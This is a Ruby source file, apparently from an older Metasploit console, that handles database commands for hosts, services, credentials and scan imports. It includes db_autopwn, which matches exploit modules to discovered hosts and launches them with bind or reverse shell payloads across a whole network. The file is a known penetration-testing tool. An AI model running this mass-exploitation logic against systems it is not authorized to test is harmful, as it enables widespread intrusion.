require 'rexml/document' require 'rex/parser/nmap_xml' require 'msf/core/db_export' module Msf module Ui module Console module CommandDispatcher class Db require 'tempfile' include Msf::Ui::Console::CommandDispatcher # # Constants # PWN_SHOW = 2**0 PWN_XREF = 2**1 PWN_PORT = 2**2 PWN_EXPL = 2**3 PWN_SING = 2**4 PWN_SLNT = 2**5 PWN_VERB = 2**6 # # The dispatcher's name. # def name "Database Backend" end # # Returns the hash of commands supported by this dispatcher. # def commands base = { "db_driver" => "Specify a database driver", "db_connect" => "Connect to an existing database", "db_disconnect" => "Disconnect from the current database instance", "db_status" => "Show the current database status", # Deprecated "db_create" => "Create a brand new database", "db_destroy" => "Drop an existing database", "db_sync" => "Synchronize the database", } more = { "db_workspace" => "Switch between database workspaces", "db_hosts" => "List all hosts in the database", "db_services" => "List all services in the database", "db_vulns" => "List all vulnerabilities in the database", "db_notes" => "List all notes in the database", "db_creds" => "List all credentials in the database", "db_exploited" => "List all exploited hosts in the database", "db_add_host" => "Add one or more hosts to the database", "db_add_port" => "Add a port to a host", "db_add_note" => "Add a note to a host", "db_add_cred" => "Add a credential to a host:port", "db_del_host" => "Delete one or more hosts from the database", "db_del_port" => "Delete one port from the database", "db_autopwn" => "Automatically exploit everything", "db_import" => "Import a scan result file (filetype will be auto-detected)", "db_export" => "Export a file containing the contents of the database", "db_import_ip_list" => "Import a list of line seperated IPs", "db_import_amap_mlog" => "Import a THC-Amap scan results file (-o -m)", "db_import_amap_log" => "Import a THC-Amap scan results file (-o )", "db_import_nessus_nbe" => "Import a Nessus scan result file (NBE)", "db_import_nessus_xml" => "Import a Nessus scan result file (NESSUS)", "db_import_ip360_xml" => "Import an IP360 scan result file (XML)", "db_import_nmap_xml" => "Import a Nmap scan results file (-oX)", "db_import_qualys_xml" => "Import a Qualys scan results file (XML)", "db_import_msfe_xml" => "Import a Metasploit Express report (XML)", "db_nmap" => "Executes nmap and records the output automatically", } base.merge(more) end def active? if not framework.db.active print_error("Database not connected") return false end true end def cmd_db_workspace(*args) return unless active? while (arg = args.shift) case arg when '-h','--help' print_line("Usage:") print_line(" db_workspace List workspaces") print_line(" db_workspace [name] Switch workspace") print_line(" db_workspace -a [name] ... Add workspace(s)") print_line(" db_workspace -d [name] ... Delete workspace(s)") print_line(" db_workspace -h Show this help information") return when '-a','--add' adding = true when '-d','--del' deleting = true else names ||= [] names << arg end end if adding and names # Add workspaces workspace = nil names.each do |name| workspace = framework.db.add_workspace(name) print_status("Added workspace: #{workspace.name}") end framework.db.workspace = workspace elsif deleting and names # Delete workspaces names.each do |name| workspace = framework.db.find_workspace(name) if workspace.nil? print_error("Workspace not found: #{name}") elsif workspace.default? workspace.destroy workspace = framework.db.add_workspace(name) print_status("Deleted and recreated the default workspace") else # switch to the default workspace if we're about to delete the current one framework.db.workspace = framework.db.default_workspace if framework.db.workspace.name == workspace.name # now destroy the named workspace workspace.destroy print_status("Deleted workspace: #{name}") end end elsif names name = names.last # Switch workspace workspace = framework.db.find_workspace(name) if workspace framework.db.workspace = workspace print_status("Workspace: #{workspace.name}") else print_error("Workspace not found: #{name}") return end else # List workspaces framework.db.workspaces.each do |s| pad = (s.name == framework.db.workspace.name) ? "* " : " " print_line(pad + s.name) end end end def cmd_db_workspace_tabs(str, words) return [] unless active? framework.db.workspaces.map { |s| s.name } if (words & ['-a','--add']).empty? end def cmd_db_hosts(*args) return unless active? onlyup = false host_search = nil col_search = nil output = nil default_columns = ::Msf::DBManager::Host.column_names.sort virtual_columns = [ 'svcs', 'vulns', 'workspace' ] default_columns.delete_if {|v| (v[-2,2] == "id")} while (arg = args.shift) case arg when '-c' list = args.shift if(!list) print_error("Invalid column list") return end col_search = list.strip().split(",") col_search.each { |c| if not default_columns.include?(c) and not virtual_columns.include?(c) all_columns = default_columns + virtual_columns print_error("Invalid column list. Possible values are (#{all_columns.join("|")})") return end } when '-u','--up' onlyup = true when '-a' hostlist = args.shift if (!hostlist) print_error("Invalid host list") return end host_search = hostlist.strip().split(",") when '-o' output = args.shift when '-h','--help' print_line "Usage: db_hosts [-h|--help] [-u|--up] [-a ] [-c ] [-o output-file ]" print_line print_line " -a Search for a list of addresses" print_line " -c Only show the given columns" print_line " -h,--help Show this help information" print_line " -u,--up Only show hosts which are up" print_line " -o Send output to a file in csv format" print_line print_line "Available columns: #{default_columns.join(", ")}" print_line return end end ofd = nil ofd = ::File.open(output, "w") if output col_names = default_columns + virtual_columns if col_search col_names.delete_if {|v| not col_search.include?(v)} end if ofd ofd.puts col_names.join(',') else tbl = Rex::Ui::Text::Table.new( { 'Header' => "Hosts", 'Columns' => col_names, }) end framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host| columns = col_names.map do |n| if virtual_columns.include?(n) case n when "svcs" host.services.length when "vulns" host.vulns.length when "workspace" host.workspace.name end else host.attributes[n] || "" end end if ofd columns.map { |n| n = "#{n}" n = "\"#{n}\"" if n.include?(',') } ofd.puts columns.join(',') else tbl << columns end end if ofd print_status("Wrote hosts to #{output}") ofd.close else print_line print_line tbl.to_s if not ofd end end def cmd_db_sync(*args) return unless active? print_status("Synchronizing the database...") framework.db.sync end def cmd_db_services(*args) return unless active? onlyup = false host_search = nil port_search = nil proto_search = nil name_search = nil col_search = nil default_columns = ::Msf::DBManager::Service.column_names.sort default_columns.delete_if {|v| (v[-2,2] == "id")} while (arg = args.shift) case arg when '-u','--up' onlyup = true when '-c' list = args.shift if(!list) print_error("Invalid column list") return end col_search = list.strip().split(",") col_search.each { |c| if not default_columns.include? c print_error("Invalid column list. Possible values are (#{default_columns.join("|")})") return end } when '-a' addrlist = args.shift if (!addrlist) print_error("Invalid address list") return end addrs = addrlist.strip().split(",") when '-p' portlist = args.shift if (!portlist) print_error("Invalid port list") return end ports = portlist.strip().split(",") when '-r' proto = args.shift if (!proto) print_status("Invalid protocol") return end proto = proto.strip when '-n' namelist = args.shift if (!namelist) print_error("Invalid name list") return end names = namelist.strip().split(",") when '-h','--help' print_line print_line "Usage: db_services [-h|--help] [-u|--up] [-a ] [-r ] [-p ] [-n ]" print_line print_line " -a Search for a list of addresses" print_line " -c Only show the given columns" print_line " -h,--help Show this help information" print_line " -n Search for a list of service names" print_line " -p Search for a list of ports" print_line " -r Only show [tcp|udp] services" print_line " -u,--up Only show services which are up" print_line print_line "Available columns: #{default_columns.join(", ")}" print_line return end end col_names = default_columns if col_search col_names.delete_if {|v| not col_search.include?(v)} end tbl = Rex::Ui::Text::Table.new({ 'Header' => "Services", 'Columns' => col_names + ["Host", "Workspace"], }) framework.db.services(framework.db.workspace, onlyup, proto, addrs, ports, names).each do |service| columns = col_names.map { |n| service.attributes[n] || "" } host = service.host columns += [host.address, host.workspace.name] tbl << columns end print_line print_line tbl.to_s end def cmd_db_vulns(*args) return unless active? framework.db.each_vuln(framework.db.workspace) do |vuln| reflist = vuln.refs.map { |r| r.name } if(vuln.service) print_status("Time: #{vuln.created_at} Vuln: host=#{vuln.host.address} port=#{vuln.service.port} proto=#{vuln.service.proto} name=#{vuln.name} refs=#{reflist.join(',')}") else print_status("Time: #{vuln.created_at} Vuln: host=#{vuln.host.address} name=#{vuln.name} refs=#{reflist.join(',')}") end end end # Only takes two arguments. Can return return active or all, on a certain # host or range, on a certain port or range, and/or on a service name. # E.g., these: # # db_creds # Default, returns all active credentials) # db_creds all # Returns all credentials, active or not # db_creds host=10.10.10.0/24 # db_creds port=1-1024 # db_creds service=ssh,smb,http def cmd_db_creds(*args) return unless active? if args.size > 2 print_status "Usage: db_creds [host=1.2.3.4/24|port=1-1024|service=ssh,smb,etc] [all]" print_status " Note, only one of host, port, or service can be used at a time." print_status " To display inactive credentials as well, use the 'all' keyword." return end search_term = nil search_param = nil inactive_ok = false creds_returned = 0 if args[0] =~ /^[\s]*(host|port|service)=(.*)/i search_term = $1.downcase search_param = $2.downcase if args[1] =~ /^[\s]*all/ inactive_ok = true end elsif args[0] =~ /^[\s]*all/ inactive_ok = true end framework.db.each_cred(framework.db.workspace) do |cred| if(cred.active | inactive_ok) case search_term when "host" begin rw = Rex::Socket::RangeWalker.new(search_param) next unless rw.include? cred.service.host.address rescue print_error "Invalid host parameter." break end when "port" if search_param =~ /([0-9]+)-([0-9]+)/ ports = Range.new($1,$2) else ports = Range.new(search_param,search_param) end next unless ports.include? cred.service.port.to_s when "service" svcs = search_param.split(/[\s]*,[\s]*/) next unless svcs.include? cred.service.name end print_status("Time: #{cred.updated_at} Credential: host=#{cred.service.host.address} port=#{cred.service.port} proto=#{cred.service.proto} sname=#{cred.service.name} type=#{cred.ptype} user=#{cred.user} pass=#{cred.pass} active=#{cred.active}") creds_returned += 1 else next end end print_status "Found #{creds_returned} credential#{creds_returned == 1 ? "" : "s"}." end # Returns exploited hosts. Takes a similiar set of options as db_creds def cmd_db_exploited(*args) return unless active? if args.size > 1 print_status "Usage: db_exploited [host=1.2.3.4/24|port=1-1024|service=ssh,smb,etc]" print_status " Note, only one of host, port, or service can be used at a time." return end search_term = nil search_param = nil exploited_returned = 0 if args[0] =~ /^[\s]*(host|port|service)=(.*)/i search_term = $1.downcase search_param = $2.downcase end framework.db.each_exploited_host(framework.db.workspace) do |eh| case search_term when "host" begin rw = Rex::Socket::RangeWalker.new(search_param) next unless rw.include? eh.host.address rescue print_error "Invalid host parameter." break end when "port" if search_param =~ /([0-9]+)-([0-9]+)/ ports = Range.new($1,$2) else ports = Range.new(search_param,search_param) end next unless ports.include? eh.service.port.to_s when "service" svcs = search_param.split(/[\s]*,[\s]*/) next unless svcs.include? eh.service.name end if eh.service print_status("Time: #{eh.updated_at} Host Info: host=#{eh.host.address} port=#{eh.service.port} proto=#{eh.service.proto} sname=#{eh.service.name} exploit=#{eh.name}") else print_status("Time: #{eh.updated_at} Host Info: host=#{eh.host.address} exploit=#{eh.name}") end exploited_returned += 1 end print_status "Found #{exploited_returned} exploited host#{exploited_returned == 1 ? "" : "s"}." end def cmd_db_notes(*args) return unless active? hosts = nil types = nil while (arg = args.shift) case arg when '-a' hostlist = args.shift if(!hostlist) print_status("Invalid host list") return end hosts = hostlist.strip().split(",") when '-t' typelist = args.shift if(!typelist) print_status("Invalid host list") return end types = typelist.strip().split(",") when '-h','--help' print_status("Usage: db_notes [-h|--help] [-a ] [-t ]") print_line(" -a Search for a list of addresses") print_line(" -t Search for a list of types") print_line(" -h,--help Show this help information") return end end framework.db.each_note(framework.db.workspace) do |note| next if(hosts and (note.host == nil or hosts.index(note.host.address) == nil)) next if(types and types.index(note.ntype) == nil) msg = "Time: #{note.created_at} Note:" if (note.host) msg << " host=#{note.host.address}" end if (note.service) name = (note.service.name ? note.service.name : "#{note.service.port}/#{note.service.proto}") msg << "service=#{name}" end msg << " type=#{note.ntype} data=#{note.data.inspect}" print_status(msg) end end def cmd_db_add_host(*args) return unless active? print_status("Adding #{args.length} hosts...") args.each do |address| host = framework.db.find_or_create_host(:host => address) print_status("Time: #{host.created_at} Host: host=#{host.address}") end end def cmd_db_add_port(*args) return unless active? if (not args or args.length < 2 or args.length > 4) print_status("Usage: db_add_port [proto] [name]") return end host = framework.db.find_or_create_host(:host => args[0]) return if not host info = { :host => host, :port => args[1].to_i } info[:proto] = args[2].downcase if args[2] info[:name] = args[3].downcase if args[3] service = framework.db.find_or_create_service(info) return if not service print_status("Time: #{service.created_at} Service: host=#{service.host.address} port=#{service.port} proto=#{service.proto} state=#{service.state}") end def cmd_db_del_port(*args) return unless active? if (not args or args.length < 3) print_status("Usage: db_del_port [host] [port] [proto]") return end if framework.db.del_service(framework.db.workspace, args[0], args[2].downcase, args[1].to_i) print_status("Service: host=#{args[0]} port=#{args[1].to_i} proto=#{args[2].downcase} deleted") end end def cmd_db_add_note(*args) return unless active? if (not args or args.length < 3) print_status("Usage: db_add_note [host] [type] [note]") return end naddr = args.shift ntype = args.shift ndata = args.join(" ") host = framework.db.find_or_create_host(:host => naddr) return if not host note = framework.db.find_or_create_note(:host => host, :type => ntype, :data => ndata) return if not note print_status("Time: #{note.created_at} Note: host=#{note.host.address} type=#{note.ntype} data=#{note.data}") end def cmd_db_add_cred(*args) return unless active? if (!args || args.length < 3) print_status("Usage: db_add_cred [host] [port] [user] [pass] [type] [active]") return else host,port,user,pass,ptype,active = args cred = framework.db.find_or_create_cred( :host => host, :port => port, :user => (user == "NULL" ? nil : user), :pass => (pass == "NULL" ? nil : pass), :ptype => ptype, :active => (active == "false" ? false : true ) ) print_status("Time: #{cred.updated_at} Credential: host=#{cred.service.host.address} port=#{cred.service.port} proto=#{cred.service.proto} sname=#{cred.service.name} type=#{cred.ptype} user=#{cred.user} pass=#{cred.pass} active=#{cred.active}") end end def cmd_db_del_host(*args) return unless active? args.each do |address| if framework.db.del_host(framework.db.workspace, address) print_status("Host #{address} deleted") end end end # # A shotgun approach to network-wide exploitation # def cmd_db_autopwn(*args) return unless active? stamp = Time.now.to_f vcnt = 0 rcnt = 0 mode = 0 code = :bind mjob = 5 regx = nil minrank = nil maxtime = 120 port_inc = [] port_exc = [] targ_inc = [] targ_exc = [] args.push("-h") if args.length == 0 while (arg = args.shift) case arg when '-t' mode |= PWN_SHOW when '-x' mode |= PWN_XREF when '-p' mode |= PWN_PORT when '-e' mode |= PWN_EXPL when '-s' mode |= PWN_SING when '-q' mode |= PWN_SLNT when '-v' mode |= PWN_VERB when '-j' mjob = args.shift.to_i when '-r' code = :conn when '-b' code = :bind when '-I' tmpopt = OptAddressRange.new('TEMPRANGE', [ true, '' ]) range = args.shift if not tmpopt.valid?(range) print_error("Invalid range for -I") return end targ_inc << Rex::Socket::RangeWalker.new(tmpopt.normalize(range)) when '-X' tmpopt = OptAddressRange.new('TEMPRANGE', [ true, '' ]) range = args.shift if not tmpopt.valid?(range) print_error("Invalid range for -X") return end targ_exc << Rex::Socket::RangeWalker.new(tmpopt.normalize(range)) when '-PI' port_inc = Rex::Socket.portspec_to_portlist(args.shift) when '-PX' port_exc = Rex::Socket.portspec_to_portlist(args.shift) when '-m' regx = args.shift when '-R' minrank = args.shift when '-T' maxtime = args.shift.to_f when '-h','--help' print_status("Usage: db_autopwn [options]") print_line("\t-h Display this help text") print_line("\t-t Show all matching exploit modules") print_line("\t-x Select modules based on vulnerability references") print_line("\t-p Select modules based on open ports") print_line("\t-e Launch exploits against all matched targets") # print_line("\t-s Only obtain a single shell per target system (NON-FUNCTIONAL)") print_line("\t-r Use a reverse connect shell") print_line("\t-b Use a bind shell on a random port (default)") print_line("\t-q Disable exploit module output") print_line("\t-R [rank] Only run modules with a minimal rank") print_line("\t-I [range] Only exploit hosts inside this range") print_line("\t-X [range] Always exclude hosts inside this range") print_line("\t-PI [range] Only exploit hosts with these ports open") print_line("\t-PX [range] Always exclude hosts with these ports open") print_line("\t-m [regex] Only run modules whose name matches the regex") print_line("\t-T [secs] Maximum runtime for any exploit in seconds") print_line("") return end end minrank = minrank || framework.datastore['MinimumRank'] || 'manual' if ! RankingName.values.include?(minrank) print_error("MinimumRank invalid! Possible values are (#{RankingName.sort.map{|r|r[1]}.join("|")})") wlog("MinimumRank invalid, ignoring", 'core', LEV_0) return else minrank = RankingName.invert[minrank] end # Default to quiet mode if (mode & PWN_VERB == 0) mode |= PWN_SLNT end matches = {} refmatches = {} # Pre-allocate a list of references and ports for all exploits mrefs = {} mports = {} mservs = {} # A list of jobs we spawned and need to wait for autopwn_jobs = [] [ [framework.exploits, 'exploit' ], [ framework.auxiliary, 'auxiliary' ] ].each do |mtype| mtype[0].each_module do |modname, mod| o = mod.new if(mode & PWN_XREF != 0) o.references.each do |r| next if r.ctx_id == 'URL' ref = r.ctx_id + "-" + r.ctx_val ref.upcase! mrefs[ref] ||= {} mrefs[ref][o.fullname] = o end end if(mode & PWN_PORT != 0) if(o.datastore['RPORT']) rport = o.datastore['RPORT'] mports[rport.to_i] ||= {} mports[rport.to_i][o.fullname] = o end if(o.respond_to?('autofilter_ports')) o.autofilter_ports.each do |rport| mports[rport.to_i] ||= {} mports[rport.to_i][o.fullname] = o end end if(o.respond_to?('autofilter_services')) o.autofilter_services.each do |serv| mservs[serv] ||= {} mservs[serv][o.fullname] = o end end end end end begin framework.db.hosts.each do |host| xhost = host.address next if (targ_inc.length > 0 and not range_include?(targ_inc, xhost)) next if (targ_exc.length > 0 and range_include?(targ_exc, xhost)) if(mode & PWN_VERB != 0) print_status("Scanning #{xhost} for matching exploit modules...") end # # Match based on vulnerability references # if (mode & PWN_XREF != 0) host.vulns.each do |vuln| # Faster to handle these here serv = vuln.service xport = xprot = nil if(serv) xport = serv.port xprot = serv.proto end vuln.refs.each do |ref| mods = mrefs[ref.name.upcase] || {} mods.each_key do |modname| mod = mods[modname] next if minrank and minrank > mod.rank next if (regx and mod.fullname !~ /#{regx}/) if(xport) next if (port_inc.length > 0 and not port_inc.include?(serv.port.to_i)) next if (port_exc.length > 0 and port_exc.include?(serv.port.to_i)) else if(mod.datastore['RPORT']) next if (port_inc.length > 0 and not port_inc.include?(mod.datastore['RPORT'].to_i)) next if (port_exc.length > 0 and port_exc.include?(mod.datastore['RPORT'].to_i)) end end next if (regx and e.fullname !~ /#{regx}/) mod.datastore['RPORT'] = xport if xport mod.datastore['RHOST'] = xhost filtered = false begin ::Timeout.timeout(2, ::RuntimeError) do filtered = true if not mod.autofilter() end rescue ::Interrupt raise $! rescue ::Timeout::Error filtered = true rescue ::Exception filtered = true end next if filtered matches[[xport,xprot,xhost,mod.fullname]]=true refmatches[[xport,xprot,xhost,mod.fullname]] ||= [] refmatches[[xport,xprot,xhost,mod.fullname]] << ref.name end end end end # # Match based on open ports # if (mode & PWN_PORT != 0) host.services.each do |serv| next if not serv.host next if (serv.state != ServiceState::Open) xport = serv.port.to_i xprot = serv.proto xname = serv.name next if xport == 0 next if (port_inc.length > 0 and not port_inc.include?(xport)) next if (port_exc.length > 0 and port_exc.include?(xport)) mods = mports[xport.to_i] || {} mods.each_key do |modname| mod = mods[modname] next if minrank and minrank > mod.rank next if (regx and mod.fullname !~ /#{regx}/) mod.datastore['RPORT'] = xport mod.datastore['RHOST'] = xhost filtered = false begin ::Timeout.timeout(2, ::RuntimeError) do filtered = true if not mod.autofilter() end rescue ::Interrupt raise $! rescue ::Exception filtered = true end next if filtered matches[[xport,xprot,xhost,mod.fullname]]=true end mods = mservs[xname] || {} mods.each_key do |modname| mod = mods[modname] next if minrank and minrank > mod.rank next if (regx and mod.fullname !~ /#{regx}/) mod.datastore['RPORT'] = xport mod.datastore['RHOST'] = xhost filtered = false begin ::Timeout.timeout(2, ::RuntimeError) do filtered = true if not mod.autofilter() end rescue ::Interrupt raise $! rescue ::Exception filtered = true end next if filtered matches[[xport,xprot,xhost,mod.fullname]]=true end end end end rescue ::Exception => e print_status("ERROR: #{e.class} #{e} #{e.backtrace}") return end if (mode & PWN_SHOW != 0) print_status("Analysis completed in #{(Time.now.to_f - stamp).to_i} seconds (#{vcnt} vulns / #{rcnt} refs)") print_status("") print_status("=" * 80) print_status(" " * 28 + "Matching Exploit Modules") print_status("=" * 80) matches.each_key do |xref| mod = nil if ((mod = framework.modules.create(xref[3])) == nil) print_status("Failed to initialize #{xref[3]}") next end if (mode & PWN_SHOW != 0) tport = xref[0] || mod.datastore['RPORT'] if(refmatches[xref]) print_status(" #{xref[2]}:#{tport} #{xref[3]} (#{refmatches[xref].join(", ")})") else print_status(" #{xref[2]}:#{tport} #{xref[3]} (port match)") end end end print_status("=" * 80) print_status("") print_status("") end ilog("db_autopwn: Matched #{matches.length} modules") idx = 0 matches.each_key do |xref| idx += 1 begin mod = nil if ((mod = framework.modules.create(xref[3])) == nil) print_status("Failed to initialize #{xref[3]}") next end # # The code is just a proof-of-concept and will be expanded in the future # if (mode & PWN_EXPL != 0) mod.datastore['RHOST'] = xref[2] if(xref[0]) mod.datastore['RPORT'] = xref[0].to_s end if (code == :bind) mod.datastore['LPORT'] = (rand(0x8fff) + 4000).to_s if(mod.fullname =~ /\/windows\//) mod.datastore['PAYLOAD'] = 'windows/meterpreter/bind_tcp' else mod.datastore['PAYLOAD'] = 'generic/shell_bind_tcp' end end if (code == :conn) mod.datastore['LHOST'] = Rex::Socket.source_address(xref[2]) mod.datastore['LPORT'] = (rand(0x8fff) + 4000).to_s if (mod.datastore['LHOST'] == '127.0.0.1') print_status("Failed to determine listener address for target #{xref[2]}...") next end if(mod.fullname =~ /\/windows\//) mod.datastore['PAYLOAD'] = 'windows/meterpreter/reverse_tcp' else mod.datastore['PAYLOAD'] = 'generic/shell_reverse_tcp' end end if(framework.jobs.keys.length >= mjob) print_status("Job limit reached, waiting on modules to finish...") while(framework.jobs.keys.length >= mjob) ::IO.select(nil, nil, nil, 0.25) end end print_status("(#{idx}/#{matches.length} [#{framework.sessions.length} sessions]): Launching #{xref[3]} against #{xref[2]}:#{mod.datastore['RPORT']}...") autopwn_jobs << Thread.new(mod) do |xmod| begin stime = Time.now.to_f ::Timeout.timeout(maxtime) do inp = (mode & PWN_SLNT != 0) ? nil : driver.input out = (mode & PWN_SLNT != 0) ? nil : driver.output case xmod.type when MODULE_EXPLOIT xmod.exploit_simple( 'Payload' => xmod.datastore['PAYLOAD'], 'LocalInput' => inp, 'LocalOutput' => out, 'RunAsJob' => false) when MODULE_AUX xmod.run_simple( 'LocalInput' => inp, 'LocalOutput' => out, 'RunAsJob' => false) end end rescue ::Timeout::Error print_status(" >> autopwn module timeout from #{xmod.fullname} after #{Time.now.to_f - stime} seconds") rescue ::Exception print_status(" >> autopwn exception during launch from #{xmod.fullname}: #{$!} ") end end end rescue ::Interrupt raise $! rescue ::Exception print_status(" >> autopwn exception from #{xref[3]}: #{$!} #{$!.backtrace}") end end # Wait on all the jobs we just spawned while (not autopwn_jobs.empty?) # All running jobs are stored in framework.jobs. If it's # not in this list, it must have completed. autopwn_jobs.delete_if { |j| not j.alive? } print_status("(#{matches.length}/#{matches.length} [#{framework.sessions.length} sessions]): Waiting on #{autopwn_jobs.length} launched modules to finish execution...") ::IO.select(nil, nil, nil, 5.0) end if (mode & PWN_SHOW != 0 and mode & PWN_EXPL != 0) print_status("The autopwn command has completed with #{framework.sessions.length} sessions") if(framework.sessions.length > 0) print_status("Enter sessions -i [ID] to interact with a given session ID") print_status("") print_status("=" * 80) driver.run_single("sessions -l -v") print_status("=" * 80) end end print_line("") # EOM end # # Determine if an IP address is inside a given range # def range_include?(ranges, addr) ranges.each do |range| return true if range.include? addr end false end def cmd_db_import_tabs(str, words) tab_complete_filenames(str, words) end # Informs about the superior cmd_db_import function. def warn_about_db_import(arg) return nil unless caller[0][/:in `cmd_(.*)'/] # `fix higlighting triggering_function = $1 print_error "The command '#{triggering_function}' is deprecated; use 'db_import #{arg}' instead." end # # Generic import that automatically detects the file type # def cmd_db_import(*args) return unless active? if (args.include?("-h") or not (args and args.length > 0)) print_error("Usage: db_import [file2...]") print_line print_line("filenames can be globs like *.xml, or **/*.xml which will search recursively") return end args.each { |glob| files = Dir.glob(File.expand_path(glob)) if files.empty? print_error("No such file #{glob}") next end files.each { |filename| if (not File.readable?(filename)) print_error("Could not read file #{filename}") next end begin framework.db.import_file(:filename => filename) do |type,data| case type when :filetype print_status("Importing '#{data}' data") when :address print_status("Importing host #{data}") when :msfx_loot print_status("Importing loot #{data}") when :msfx_task print_status("Importing task #{data}") when :msft_report print_status("Importing report #{data}") end end print_status("Successfully imported #{filename}") rescue DBImportError print_error("Failed to import #{filename}: #{$!}") elog("Failed to import #{filename}: #{$!.class}: #{$!}") dlog("Call stack: #{$@.join("\n")}", LEV_3) next rescue REXML::ParseException => e print_error("Failed to import #{filename} due to malformed XML:") print_error "#{$!.class}: #{$!}" elog("Failed to import #{filename}: #{$!.class}: #{$!}") dlog("Call stack: #{$@.join("\n")}", LEV_3) next end } } end # # Export an XML # def cmd_db_export(*args) return unless active? export_formats = %W{xml pwdump} format = 'xml' output = nil while (arg = args.shift) case arg when '-h','--help' print_line("Usage:") print_line(" db_export -f [-a] [filename]") print_line(" Format can be one of: #{export_formats.join(", ")}") when '-f','--format' format = args.shift.to_s.downcase else output = arg end end if not output print_error("No output file was specified") return end if not export_formats.include?(format) print_error("Unsupported file format: #{format}") print_error("Unsupported file format: '#{format}'. Must be one of: #{export_formats.join(", ")}") return end print_status("Starting export of workspace #{framework.db.workspace.name} to #{output} [ #{format} ]...") exporter = Msf::DBManager::Export.new(framework.db.workspace) exporter.send("to_#{format}_file".intern,output) do |mtype, mstatus, mname| if mtype == :status if mstatus == "start" print_status(" >> Starting export of #{mname}") end if mstatus == "complete" print_status(" >> Finished export of #{mname}") end end end print_status("Finished export of workspace #{framework.db.workspace.name} to #{output} [ #{format} ]...") end # # Import Nessus NBE files # def cmd_db_import_nessus_nbe(*args) return unless active? if (not (args and args.length == 1)) print_status("Usage: db_import_nessus_xml ") return end warn_about_db_import(args[0]) if (not File.readable?(args[0])) print_status("Could not read the NBE file") return end framework.db.import_nessus_nbe_file(:filename => args[0]) end # # Import Nessus NESSUS files # def cmd_db_import_nessus_xml(*args) return unless active? if (not (args and args.length == 1)) print_status("Usage: db_import_nessus_xml ") return end warn_about_db_import(args[0]) if (not File.readable?(args[0])) print_status("Could not read the NESSUS file") return end framework.db.import_nessus_xml_file(:filename => args[0]) end # # Import IP360 XML files # def cmd_db_import_ip360_xml(*args) return unless active? if (not (args and args.length == 1)) print_status("Usage: db_import_ip360_xml ") return end warn_about_db_import(args[0]) if (not File.readable?(args[0])) print_status("Could not read the IP360 Scan file provided") return end framework.db.import_ip360_xml_file(:filename => args[0]) end # # Import Nmap data from a file # def cmd_db_import_nmap_xml(*args) return unless active? if (not (args and args.length == 1)) print_error("Usage: db_import_nmap_xml ") return end warn_about_db_import(args[0]) if (not File.readable?(args[0])) print_status("Could not read the NMAP file") return end framework.db.import_nmap_xml_file(:filename => args[0]) end # # Import Qualys XML files # def cmd_db_import_qualys_xml(*args) return unless active? if not (args and args.length == 1) print_status("Usage: db_import_qualys_xml ") return end warn_about_db_import(args[0]) if not File.readable?(args[0]) print_status("Could not read the Qualys file") return end framework.db.import_qualys_xml_file(:filename => args[0]) end # # Import a Metasploit Express XML report def cmd_db_import_msfe_xml(*args) return unless active? if not (args and args.length == 1) print_status("Usage: db_import_msfe_xml ") return end warn_about_db_import(args[0]) if not File.readable?(args[0]) print_status("Could not read the Metasploit Express file") return end framework.db.import_msf_file(:filename => args[0]) end # # Import IP List from a file # def cmd_db_import_ip_list(*args) return unless active? if (not (args and args.length == 1)) print_error("Usage: db_import_file_list ") return end warn_about_db_import(args[0]) if (not File.readable?(args[0])) print_status("Could not read the text file") return end framework.db.import_ip_list_file(:filename => args[0]) end # # Import Nmap data from a file # def cmd_db_nmap(*args) return unless active? if (args.length == 0) print_status("Usage: db_nmap [nmap options]") return end nmap = Rex::FileUtils.find_full_path("nmap") || Rex::FileUtils.find_full_path("nmap.exe") if (not nmap) print_error("The nmap executable could not be found") return end fd = Tempfile.new('dbnmap') fd.binmode fo = Tempfile.new('dbnmap') fo.binmode # When executing native Nmap in Cygwin, expand the Cygwin path to a Win32 path if(Rex::Compat.is_cygwin and nmap =~ /cygdrive/) # Custom function needed because cygpath breaks on 8.3 dirs tout = Rex::Compat.cygwin_to_win32(fd.path) fout = Rex::Compat.cygwin_to_win32(fo.path) args.push('-oX', tout) args.push('-oN', fout) else args.push('-oX', fd.path) args.push('-oN', fo.path) end system([nmap, "nmap"], *args) # Until we hide stdout above, this is pointless # fo.each_line do |line| # print_status("NMAP: #{line.strip}") # end fo.close(true) framework.db.import_nmap_xml_file(:filename => fd.path) fd.close(true) end # # Import from a THC-Amap machine-readable log file # def cmd_db_import_amap_mlog(*args) return unless active? if args.length == 0 print_status("Usage: db_import_amap_mlog [logfile]") return end warn_about_db_import(args[0]) if not File.readable?(args[0]) print_error("Could not read the log file") return end framework.db.import_amap_log_file(:filename => args[0]) end alias :cmd_db_import_amap_log :cmd_db_import_amap_mlog # # Database management # def db_check_driver if(not framework.db.driver) print_error("No database driver has been specified") return false end true end # # Is everything working? # def cmd_db_status(*args) if framework.db.driver if ActiveRecord::Base.connected? and ActiveRecord::Base.connection.active? if ActiveRecord::Base.connection.respond_to? :current_database cdb = ActiveRecord::Base.connection.current_database else # ghetto hack for sqlite cdb = ActiveRecord::Base.connection.instance_variable_get(:@config)[:database] end print_status("#{framework.db.driver} connected to #{cdb}") else print_status("#{framework.db.driver} selected, no connection") end else print_status("No driver selected") end end def cmd_db_driver(*args) if(args[0]) if(args[0] == "-h" || args[0] == "--help") print_status("Usage: db_driver [driver-name]") return end if(framework.db.drivers.include?(args[0])) framework.db.driver = args[0] print_status("Using database driver #{args[0]}") else print_error("Invalid driver specified") end return end if(framework.db.driver) print_status(" Active Driver: #{framework.db.driver}") else print_status("No Active Driver") end print_status(" Available: #{framework.db.drivers.join(", ")}") print_line("") if ! framework.db.drivers.include?('sqlite3') print_status(" DB Support: Enable the sqlite3 driver with the following command:") print_status(" $ gem install sqlite3-ruby") print_error( " Note that sqlite is not supported due to numerous issues.") print_error( " It may work, but don't count on it") print_line("") end if ! framework.db.drivers.include?('mysql') print_status(" DB Support: Enable the mysql driver with the following command:") print_status(" $ gem install mysql") print_status(" This gem requires mysqlclient headers, which can be installed on Ubuntu with:") print_status(" $ sudo apt-get install libmysqlclient-dev") print_line("") end if ! framework.db.drivers.include?('postgresql') print_status(" DB Support: Enable the postgresql driver with the following command:") print_status(" * This requires libpq-dev and a build environment") print_status(" $ gem install postgres") print_status(" $ gem install pg # is an alternative that may work") print_line("") end end def cmd_db_driver_tabs(str, words) return framework.db.drivers end def cmd_db_create(*args) return if not db_check_driver print_error("") print_error("Warning: The db_create command is deprecated, use db_connect instead.") print_error(" The database and schema will be created automatically by") print_error(" db_connect. If db_connect fails to create the database, create") print_error(" it manually with your 